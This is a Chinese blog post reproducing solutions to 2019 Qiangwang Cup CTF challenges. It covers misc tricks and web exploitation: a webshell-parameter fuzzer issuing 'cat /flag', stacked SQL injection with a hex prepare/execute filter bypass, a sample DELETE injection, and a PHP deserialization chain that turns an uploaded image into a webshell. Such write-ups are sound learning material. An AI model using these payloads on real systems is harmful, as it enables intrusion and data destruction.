2019强网杯部分misc&web


0x01 前言

前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下。

0x02 鲲or鳗orGame

最先开始做的便是这道MISC的题目“鲲or鳗orGame”0101

 

 

 

 

进入网站后,发现鲲or鳗orGame有3个选项

 

 

 

鲲和鳗打开分别有一段mp3就是鸡你太美和大碗宽面

 

 

 

听音频除了其中一首歌前面加了几秒的键盘敲击声都没什么区别,用Audacity打开查看频谱也没有发现问题,WinHex二进制分析也没有发现什么特殊的地方,尝试使用MP3Stego提取文件,也没有找到密码,也没看到什么提示,就很是难受,就转向去分析游戏游戏如图,看了就知道怎么玩

 

 

 

 

 

 

 

 

 

完了几把,发现难度还是那么大,难受.jpg,查看网页源码,就是一堆js文件

 

 

 

没有看出区别后,我还是觉得mp3会有问题,一直分析了好久,都没有结果

比赛结束后放出了wp,看了后才明白怎么弄,在游戏页面加载时还有一个gb文件

 

 

 

将文件按目录全部保存到本地,使用VisualBoyAdvance模拟器可以打开这个gb文件,达到本地浏览效果,然且这个模拟器还有金手指功能

打开游戏

 

 

后先打开一个搜索,然后完了几把,通过最高纪录和本次的分,发现主要是两个位置

 

 

将最高纪录分数改到255,使用16进制表示

 

 

再开一把游戏,不管玩到多少分,都会弹出flag

 

 

0x03 逆向题 强网先锋 AD

这道题也是当时看了很久,没有分析出来,看了wp才明白的,附件下载下来,并没有尾缀

 

 

直接拖到IDA中F5,查看main函数,从v44到v40将原本的数字转为字符

 

 

发现最后有两个等号,果断Base64,但是第一个v44时int型的,不能计算,只记录后面的

ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ== base64 Decode

 

 

0x04 MISC 打野

附件下载下来解压后,是一个名字为“瞅啥”的rar压缩包,解压后,一张鲲的图片

 

 

使用zsteg 得到flag

 

 

0x05 高明的黑客

页面打开后如图

 

 

访问 wensite/www.tar.gz 得到源码压缩包,解压后3002个命名奇特的文件,而且每个文件打开都是很奇怪的代码

 

 

看页面内容为高明的黑客,而且php文件里面也发现了大量GET和POST提交的变量,可能是shell的密码,但是不知道到底是哪个php文件的哪个参数,写脚本fuzz

import os
import requests
from multiprocessing import Pool

path = "/src/"#下载下来源码文件路径
files = os.listdir(path)
url = "http://localhost/src/"#网站地址


def extract(f):
  gets = []
  with open(path+f, 'r') as f:
      lines = f.readlines()
      lines = [i.strip() for i in lines]
      for line in lines:
          if line.find("$_GET['") > 0:
              start_pos = line.find("$_GET['") + len("$_GET['")
              end_pos = line.find("'", start_pos)
              gets.append(line[start_pos:end_pos])
  return gets


def exp(start, end):
  for i in range(start, end):
      filename = files[i]
      gets = extract(filename)
      print "try: %s" % filename
      for get in gets:
          new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
          r = requests.get(new_url)
          if 'got it' in r.content:
              print new_url
              break


def main():
  pool = Pool(processes=15)
  for i in range(0, len(files), len(files)/15):
      pool.apply_async(exp, (i, +len(files)/15,))
  pool.close()
  pool.join()


if __name__ == "__main__":
  main()

跑出来是xk0SzyKwfzw.php 这个文件,GET提交参数Efa5BVG

直接cat获取到flagwebsite/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

 

 

0x06 随便注

这道题主要考察堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

 

 

随便测试一下,提交1‘ union select 1,2,3,返回

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

存在过滤,基本关键词都被过滤了,使用堆叠注入

提交 1';show tables; # 显示

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

提交1';show columns from '1919810931114514';# 返回1919810931114514中的字段名

 

 

直接用存储过程+16进制进行绕过,,并返回结果

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

 

 

0x07 Upload

20191101添加

页面打开后,可以登陆,和注册,注册一个账号后,发现是一个上传界面

 

 

但是只能上传图片,且不会给出上传的位置,应该需要就是上传木马,但是经过尝试只能上传图片马,不能直接利用,使用dirsearch路径扫描,发现源码泄露,直接访问www.tar.gz就可以得到源码,接下来进行代码审计

 

 

 

是个tp5的框架系统,首先查看路由信息,主要关注index和upload_img

 

 

 

先看index.php,在login_check方法中,系统从cookie中获取到字符串,然后反序列化

 

 

在Profile中,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,就可以实现图片马了。

 

 

在后面,还存在两个魔术方法

 

 

继续看Register.php,在tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。

 

 

最后的攻击链为:

 Register->__destruct
Profile-> __call
Profile-> __get
Profile-> upload_img()

我们先上传一个图片马上去,上传之后可以F12找到文件路径,并访问

 

 

构造如下代码,并在本地运行,得到一个cookie,使用这个cookie替换题目站得cookie

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/f4e7685fe689f675c85caeefaedcf40c/3b5cc1c061dce193bb89ea4ee47ace85.png";
    public $filename="../public/upload/f4e7685fe689f675c85caeefaedcf40c/xianyu.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');
}
class Register
{
    public $checker;
    public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>

 

 

连上之后,在根目录可以读flag

 

 

 

 

0x08 目前就看了这几个wp,以后看了其他的,会尽量复现一下

 

 

posted @ 2019-11-03 16:59  咸鱼黄  阅读(1619)  评论(0编辑  收藏  举报